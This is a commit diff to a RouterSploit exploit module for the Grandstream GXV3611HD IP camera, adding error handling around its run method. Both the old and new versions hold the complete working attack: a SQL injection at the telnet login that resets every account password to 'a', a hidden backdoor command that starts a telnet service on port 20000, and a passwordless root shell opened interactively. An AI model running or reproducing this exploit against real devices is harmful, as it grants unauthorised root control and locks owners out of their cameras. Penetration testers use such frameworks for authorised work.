Handling errors if telnet isn't running

routersploit/modules/exploits/grandstream/gxv3611hd_ip_camera_rce.py

@@ -30,41 +30,44 @@ class Exploit(exploits.Exploit):
     port = exploits.Option(23, 'Target port')  # default port
 
     def run(self):
-        if self.check():
-            print_success("Target appears to be vulnerable...")
+        try:
+            if self.check():
+                print_success("Target appears to be vulnerable...")
 
-            try:
-                conn = telnetlib.Telnet(self.target, self.port)
-                conn.read_until("Username: ")
-                conn.write("';update user set password='a';--\r\n")  # This changes all the passwords to 'a'
-                conn.read_until("Password: ")
-                conn.write("nothing\r\n")
-                conn.read_until("Username: ")
-                conn.write("admin\r\n")
-                conn.read_until("Password: ")
-                conn.write("a\r\n")  # Login with the new password
-                conn.read_until("> ")
-                conn.write("!#/ port lol\r\n")  # Backdoor command triggers telnet server to startup.
-                conn.read_until("> ")
-                conn.write("quit\r\n")
-                conn.close()
-                print_success("SQLI successful, going to telnet into port 20000 with username root and no password to get shell")
-            except:
-                print_error("Exploit failed. Could not log in.")
+                try:
+                    conn = telnetlib.Telnet(self.target, self.port)
+                    conn.read_until("Username: ")
+                    conn.write("';update user set password='a';--\r\n")  # This changes all the passwords to 'a'
+                    conn.read_until("Password: ")
+                    conn.write("nothing\r\n")
+                    conn.read_until("Username: ")
+                    conn.write("admin\r\n")
+                    conn.read_until("Password: ")
+                    conn.write("a\r\n")  # Login with the new password
+                    conn.read_until("> ")
+                    conn.write("!#/ port lol\r\n")  # Backdoor command triggers telnet server to startup.
+                    conn.read_until("> ")
+                    conn.write("quit\r\n")
+                    conn.close()
+                    print_success("SQLI successful, going to telnet into port 20000 with username root and no password to get shell")
+                except:
+                    print_error("Exploit failed. Could not log in.")
 
-            try:
-                conn = telnetlib.Telnet(self.target, 20000)
-                conn.read_until("login: ")
-                conn.write("root\r\n")
-                conn.read_until("Password: ")
-                conn.write("\r\n")
-                conn.read_until("# ")
-                print_success("Authenticaiton Successful")
-                conn.interact()
-            except:
-                print_error("Failed to log into backdoor.")
-        else:
-            print_error("Exploit failed. Target does not appear vulnerable")
+                try:
+                    conn = telnetlib.Telnet(self.target, 20000)
+                    conn.read_until("login: ")
+                    conn.write("root\r\n")
+                    conn.read_until("Password: ")
+                    conn.write("\r\n")
+                    conn.read_until("# ")
+                    print_success("Authenticaiton Successful")
+                    conn.interact()
+                except:
+                    print_error("Failed to log into backdoor.")
+            else:
+                print_error("Exploit failed. Target does not appear vulnerable")
+        except Exception as err:
+            print_error("{}".format(err))
 
     @mute
     def check(self):